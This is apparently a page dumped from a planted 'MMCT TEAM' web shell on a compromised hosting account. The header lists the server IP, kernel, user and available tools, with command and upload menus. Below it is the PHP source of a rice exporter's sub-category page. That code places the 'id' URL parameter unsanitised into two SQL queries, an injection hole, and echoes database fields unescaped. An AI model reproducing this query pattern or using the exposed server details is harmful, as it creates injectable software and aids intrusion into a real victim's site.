MMCT TEAM
Server IP : 45.113.226.95  /  Your IP : 216.73.216.239
Web Server : LiteSpeed
System : Linux bharat.hostitbro.com 5.14.0-611.13.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 11 04:57:59 EST 2025 x86_64
User : digita21 ( 1701)
PHP Version : 8.3.30
Disable Function : mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0750) :  /home2/digita21/sbrbasmatirice.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/digita21/sbrbasmatirice.com/sub_category.php
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <!-- PAGE TITLE HERE -->
    <title>SBR AGRO EXIM PRIVATE LIMITED</title>
    <!-- PAGE DESCRIPTION HERE -->

    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="geo.region" content="IN" />

    <!-- favicons Icons -->
       <link rel="icon" type="image/png" sizes="32x32" href="img/logo.png">


    <!-- fonts -->
    <link rel="preconnect" href="https://fonts.googleapis.com/">
    <link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin>
    <link
        href="https://fonts.googleapis.com/css2?family=Inter:wght@100;200;300;400;500;600;700;800;900&amp;display=swap"
        rel="stylesheet">
    <link
        href="https://fonts.googleapis.com/css2?family=Mali:ital,wght@0,200;0,300;0,400;0,500;0,600;0,700;1,200;1,300;1,400;1,500;1,600;1,700&amp;display=swap"
        rel="stylesheet">
    <link
        href="https://fonts.googleapis.com/css2?family=Outfit:wght@100;200;300;400;500;600;700;800;900&amp;display=swap"
        rel="stylesheet">
    <link
        href="https://fonts.googleapis.com/css2?family=Kumbh+Sans:wght@100;200;300;400;500;600;700;800;900&amp;display=swap"
        rel="stylesheet">
    <link
        href="https://fonts.googleapis.com/css2?family=Pathway+Extreme:opsz,wght@8..144,400;8..144,600&amp;display=swap"
        rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.2/css/all.min.css" />

    <link rel="stylesheet" href="assets/vendors/bootstrap/css/bootstrap.min.css">
    <link rel="stylesheet" href="assets/vendors/bootstrap-select/bootstrap-select.min.css">
    <link rel="stylesheet" href="assets/vendors/animate/animate.min.css">
    <link rel="stylesheet" href="assets/vendors/fontawesome/css/all.min.css">
    <link rel="stylesheet" href="assets/vendors/jquery-ui/jquery-ui.css">
    <link rel="stylesheet" href="assets/vendors/jarallax/jarallax.css">
    <link rel="stylesheet" href="assets/vendors/jquery-magnific-popup/jquery.magnific-popup.css">
    <link rel="stylesheet" href="assets/vendors/nouislider/nouislider.min.css">
    <link rel="stylesheet" href="assets/vendors/nouislider/nouislider.pips.css">
    <link rel="stylesheet" href="assets/vendors/tiny-slider/tiny-slider.css">
    <link rel="stylesheet" href="assets/vendors/agrofa-icons/style.css">
    <link rel="stylesheet" href="assets/vendors/owl-carousel/css/owl.carousel.min.css">
    <link rel="stylesheet" href="assets/vendors/owl-carousel/css/owl.theme.default.min.css">
    <link rel="stylesheet" href="assets/fonts/stylesheet.css">

    <!-- template styles -->
    <link rel="stylesheet" href="assets/css/agrofa.css">
    <link rel="stylesheet" href="assets/css/responsive.css">

    <style>
        @font-face {
            font-family: myFont;
            src: url('EXOTICB.TTF') format('truetype');
        }

        h1 {
            /*font-family: myFont;*/
        }
       


    </style>

</head>




<body class="custom-cursor">


    <div class="page-wrapper">
        
        
    <?php
    include('./include/header.php');
    ?>
    
    
    <section class="about-banner position-relative">
      <img src="img/footer-images1.jpg" class="img-fluid w-100" >
      <div class="overlay position-absolute top-0 start-0 w-100 h-100 d-flex align-items-center justify-content-center">
        <div class="banner-content text-center text-light">
            <?php
                    $id= $_GET['id'];
                    $select = "SELECT * FROM sub_category WHERE  id = '$id'";
                    $query = mysqli_query($connect, $select);
                    
                    // Check if the query executed successfully
                    if (!$query) {
                        die("Query failed: " . mysqli_error($connect));
                    }
                    
                    while ($row = mysqli_fetch_array($query)) {
                        // $category_name = $row['category_name'];
                                            
                    ?>
          <nav class="breadcrumb-nav mb-2">
            <a href="index.php" class="text-info">Home</a>
            <span>&gt;</span>
            <span class="text-light"><?php echo  $row['sub_category_name']; ?></span>
          </nav>
          <h1 class="text-light"><?php echo  $row['sub_category_name']; ?></h1>
          <?php
                    }
          ?>
        </div>
      </div>
    </section>
    
         <section class="why-choose-one">
            <!----->
            <style>
                :root {
                    --surface-color: #fff;
                    --curve: 40;
                }

                * {}

                body {}

                .cards {
                    display: grid;
                    grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
                    gap: 2rem;
                    margin: 10px 10px;
                    padding: 0;
                    list-style-type: none;
                }

                .card {
                    position: relative;
                    display: block;
                    height: 100%;
                    border-radius: calc(var(--curve) * 1px);
                    overflow: hidden;
                    text-decoration: none;
                }

                .card__image {
                    width: 100%;
                    height: auto;
                }

                .card__overlay {
                    position: absolute;
                    bottom: 0;
                    left: 0;
                    right: 0;
                    z-index: 1;
                    border-radius: calc(var(--curve) * 1px);
                    background-color: var(--surface-color);
                    transform: translateY(100%);
                    transition: .2s ease-in-out;
                }

                .card:hover .card__overlay {
                    transform: translateY(0);
                }

                .card__header {
                    position: relative;
                    display: flex;
                    align-items: center;
                    gap: 1em;
                    padding: 2em;
                    border-radius: calc(var(--curve) * 1px) 0 0 0;
                    background-color: var(--surface-color);
                    transform: translateY(-100%);
                    transition: .2s ease-in-out;
                }

                .card__arc {
                    width: 80px;
                    height: 80px;
                    position: absolute;
                    bottom: 100%;
                    right: 0;
                    z-index: 1;
                }

                .card__arc path {
                    fill: var(--surface-color);
                    d: path("M 40 80 c 22 0 40 -22 40 -40 v 40 Z");
                }

                .card:hover .card__header {
                    transform: translateY(0);
                }

                .card__thumb {
                    flex-shrink: 0;
                    width: 50px;
                    height: 50px;
                    border-radius: 10%;
                    margin-left: 10px;
                }

                .card__title {
                    font-size: 1em;
                    margin: 0 0 .3em;
                    color: #6A515E;
                }

                .card__tagline {
                    display: block;
                    margin: 1em 0;
                    font-family: "MockFlowFont";
                    font-size: .8em;
                    color: #D7BDCA;
                }

                .card__status {
                    font-size: .8em;
                    color: #D7BDCA;
                }

                .card__description {
                    padding: 0 2em 2em;
                    margin: 0;
                    color: #D7BDCA;
                    font-family: "MockFlowFont";
                    display: -webkit-box;
                    -webkit-box-orient: vertical;
                    -webkit-line-clamp: 3;
                    overflow: hidden;
                }
            </style>
            <!----->
            <div class="container-fluid" style="padding-top: 40px; padding-bottom: 40px; max-width: 1180px;">
            <div class="section-common-title fadeInDown wow" data-wow-delay="200ms">
                <span class="why-choose-one__chose-reasone food-chose-reasone" style="padding-bottom: 15px;">
                    <img class="why-choose-one__chose-icon food-chose-icon" src="assets/images/shapes/food-img1-1.png" alt="">
                    <strong class="why-choose-one__chose-name food-chose-name">COMMITTED TO PURITY & PERFORMANCE</strong>
                </span>
                <h2 class="why-choose-one__title food-chose-title"
                    style="font-size: 25px; line-height: 15px; margin-bottom: 50px;">
                    Our Product
                </h2>
            </div>
     <div class="row why-choose-one__row">
    <?php
                    $id= $_GET['id'];
                    $select = "SELECT * FROM `sub_category` INNER JOIN `product` ON sub_category.id = product.sub_category_id  WHERE sub_category_id = $id;";
                    $query = mysqli_query($connect, $select);
                    
                    // Check if the query executed successfully
                    if (!$query) {
                        die("Query failed: " . mysqli_error($connect));
                    }
                    
                    while ($row = mysqli_fetch_array($query)) {
                        // $category_name = $row['category_name'];
                                            
                    ?>
            <div class="col-sm-3">
                <ul class="cards">
                    <li>
                        <a href="product-details.php?id=<?php echo $row['id']; ?>" class="card">
                            <img src="./admin/product/<?php echo htmlspecialchars($row['pro_image']); ?>" 
                                 alt="<?php echo htmlspecialchars($row['pro_name']); ?>" 
                                 style="height: 300px; width: 100%;" />
                            <div class="card__overlay">
                                <div class="card__header" style="padding: 10px;">
                                    <svg class="card__arc" xmlns="http://www.w3.org/2000/svg"><path /></svg>
                                    <img class="card__thumb" src="img/i3.png" alt="Rice Icon" />
                                    <div class="card__header-text" style="line-height: 15px;">
                                        <h3 class="card__title" style="color: #275a14;">
                                            <?php echo htmlspecialchars($row['pro_name']); ?>
                                        </h3>
                                    </div>
                                </div>
                            </div>
                        </a>
                    </li>
                </ul>
            </div>
            <?php
        
    } 
    ?>
</div>
                
                </div>

        </section>

    
    
    
  

    
    <?php
   include('./include/footer.php');
   ?>
        
    
    
    

MMCT - 2023